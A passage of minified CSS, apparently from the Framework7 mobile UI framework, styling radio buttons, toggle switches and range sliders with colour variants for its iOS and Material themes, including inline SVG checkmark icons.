input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio{border-color:#000}.ios .radio.color-red input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-red input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .radio.color-green input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .radio.color-blue input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .radio.color-pink input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .radio.color-orange input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .radio.color-gray input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .radio.color-white input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .radio.color-black input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.md .icon-radio{width:20px;height:20px;position:relative;border-radius:50%;border:2px solid #6d6d6d;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-duration:.2s;transition-duration:.2s;display:block}.md .icon-radio:after{content:'';position:absolute;width:10px;height:10px;left:50%;top:50%;margin-left:-5px;margin-top:-5px;background-color:#2196f3;border-radius:50%;-webkit-transform:scale(0);transform:scale(0);-webkit-transition-duration:.2s;transition-duration:.2s}.md .radio input[type=radio]:checked~.icon-radio,.md label.item-radio input[type=radio]:checked~* .icon-radio,.md label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio input[type=radio]:checked~.icon-radio:after,.md label.item-radio input[type=radio]:checked~* .icon-radio:after,.md label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3;-webkit-transform:scale(1);transform:scale(1)}.md label.item-radio{position:relative;overflow:hidden;z-index:0}.md label.item-radio>.icon-radio{margin-right:38px}.md label.item-radio .item-content .item-media,.md label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-radio.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-radio.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .icon-radio{border-color:rgba(255,255,255,.54)}.md .color-theme-red .icon-radio:after{background-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .color-theme-red .radio .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .color-theme-yellow .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .icon-radio:after{background-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{border-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .color-theme-white .radio .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .icon-radio:after{background-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{border-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .color-theme-black .radio .ripple-wave{background:rgba(0,0,0,.5)}.md .radio.color-red .icon-radio:after{background-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .radio.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .radio.color-green .icon-radio:after{background-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .radio.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .radio.color-blue .icon-radio:after{background-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .radio.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .radio.color-pink .icon-radio:after{background-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .radio.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .radio.color-yellow .icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .radio.color-orange .icon-radio:after{background-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .radio.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .radio.color-gray .icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .radio.color-white .icon-radio:after{background-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .radio.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .radio.color-black .icon-radio:after{background-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .radio.color-black .ripple-wave{background:rgba(0,0,0,.5)}.toggle{display:inline-block;vertical-align:middle;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.toggle input[type=checkbox]{display:none}.toggle input[disabled]~.toggle-icon{pointer-events:none}.toggle-icon{z-index:0;margin:0;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;position:relative;-webkit-transition:.3s;transition:.3s;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;cursor:pointer}.toggle-icon:after,.toggle-icon:before{content:''}.toggle-icon:after{background:#fff;position:absolute;z-index:2;-webkit-transform:translateX(0);transform:translateX(0);-webkit-transition-duration:.3s;transition-duration:.3s}.ios .toggle{width:52px;border-radius:16px;height:32px}.ios .toggle input[type=checkbox]:checked+.toggle-icon{background:#4cd964}.ios .toggle input[type=checkbox]:checked+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(20px);transform:translateX(20px)}.ios .toggle-icon{width:52px;border-radius:16px;height:32px;background:#e5e5e5}.ios .toggle-icon:before{position:absolute;left:2px;top:2px;width:48px;height:28px;border-radius:16px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#fff;z-index:1;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:scale(1);transform:scale(1)}.ios .toggle-icon:after{height:28px;width:28px;top:2px;left:2px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3);border-radius:14px}.ios .toggle-active-state input[type=checkbox]:not(:checked)+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle-active-state input[type=checkbox]+.toggle-icon:after{width:35px}.ios .toggle-active-state input[type=checkbox]:checked+.toggle-icon:after{width:35px;-webkit-transform:translateX(13px);transform:translateX(13px)}.ios .theme-dark .toggle-icon{background-color:#fff}.ios .theme-dark .toggle-icon:before{background-color:#1c1c1d}.ios .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background-color:#ff3b30}.ios .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background-color:#4cd964}.ios .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background-color:#007aff}.ios .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background-color:#ff2d55}.ios .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background-color:#fc0}.ios .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background-color:#ff9500}.ios .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background-color:#8e8e93}.ios .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background-color:#fff}.ios .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background-color:#000}.md .toggle{width:36px;height:14px}.md .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(16px);transform:translateX(16px);background:#2196f3}.md .toggle-icon{width:36px;height:14px;border-radius:14px;background:#b0afaf}.md .toggle-icon:after{height:20px;width:20px;top:-3px;-webkit-box-shadow:0 2px 5px rgba(0,0,0,.4);box-shadow:0 2px 5px rgba(0,0,0,.4);border-radius:10px;left:0}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#000}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon:after{background:#000}.range-slider{display:block;width:100%;position:relative;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.range-slider input[type=range]{display:none}.range-bar{position:absolute;left:0;top:50%;width:100%;overflow:hidden}.range-bar-active{position:absolute;left:0;top:0;height:100%}.range-knob-wrap{z-index:20;position:absolute;top:50%;left:0}.range-knob{-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:50%;position:absolute;left:0;top:0;width:100%;height:100%;z-index:1}.range-knob:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.range-knob-label{position:absolute;left:50%;bottom:100%;text-align:center;-webkit-transition-duration:120ms;transition-duration:120ms;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translateY(100%) scale(0);transform:translateY(100%) scale(0)}.range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.ios .range-slider{height:28px}.ios .range-bar{background:#b7b8b7;border-radius:2px;height:1px}.ios .range-bar-active{background:#007aff}.ios .range-knob-wrap{height:28px;width:28px;margin-top:-14px;margin-left:-14px}.ios .range-knob{background:#fff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3)}.ios .range-knob-label{min-width:20px;height:20px;line-height:20px;background:#fff;border-radius:5px;color:#000;font-size:12px;margin-bottom:6px;-webkit-transform:translateX(-50%) translateY(100%) scale(0);transform:translateX(-50%) translateY(100%) scale(0)}.ios .range-knob-active-state .range-knob-label{-webkit-transform:translateX(-50%) translateY(0) scale(1);transform:translateX(-50%) translateY(0) scale(1)}.ios .color-theme-red .range-slider .range-bar-active{background-color:#ff3b30}.ios .color-theme-green .range-slider .range-bar-active{background-color:#4cd964}.ios .color-theme-blue .range-slider .range-bar-active{background-color:#007aff}.ios .color-theme-pink .range-slider .range-bar-active{background-color:#ff2d55}.ios .color-theme-yellow .range-slider .range-bar-active{background-color:#fc0}.ios .color-theme-orange .range-slider .range-bar-active{background-color:#ff9500}.ios .color-theme-gray .range-slider .range-bar-active{background-color:#8e8e93}.ios .color-theme-white .range-slider .range-bar-active{background-color:#fff}.ios .color-theme-black .range-slider 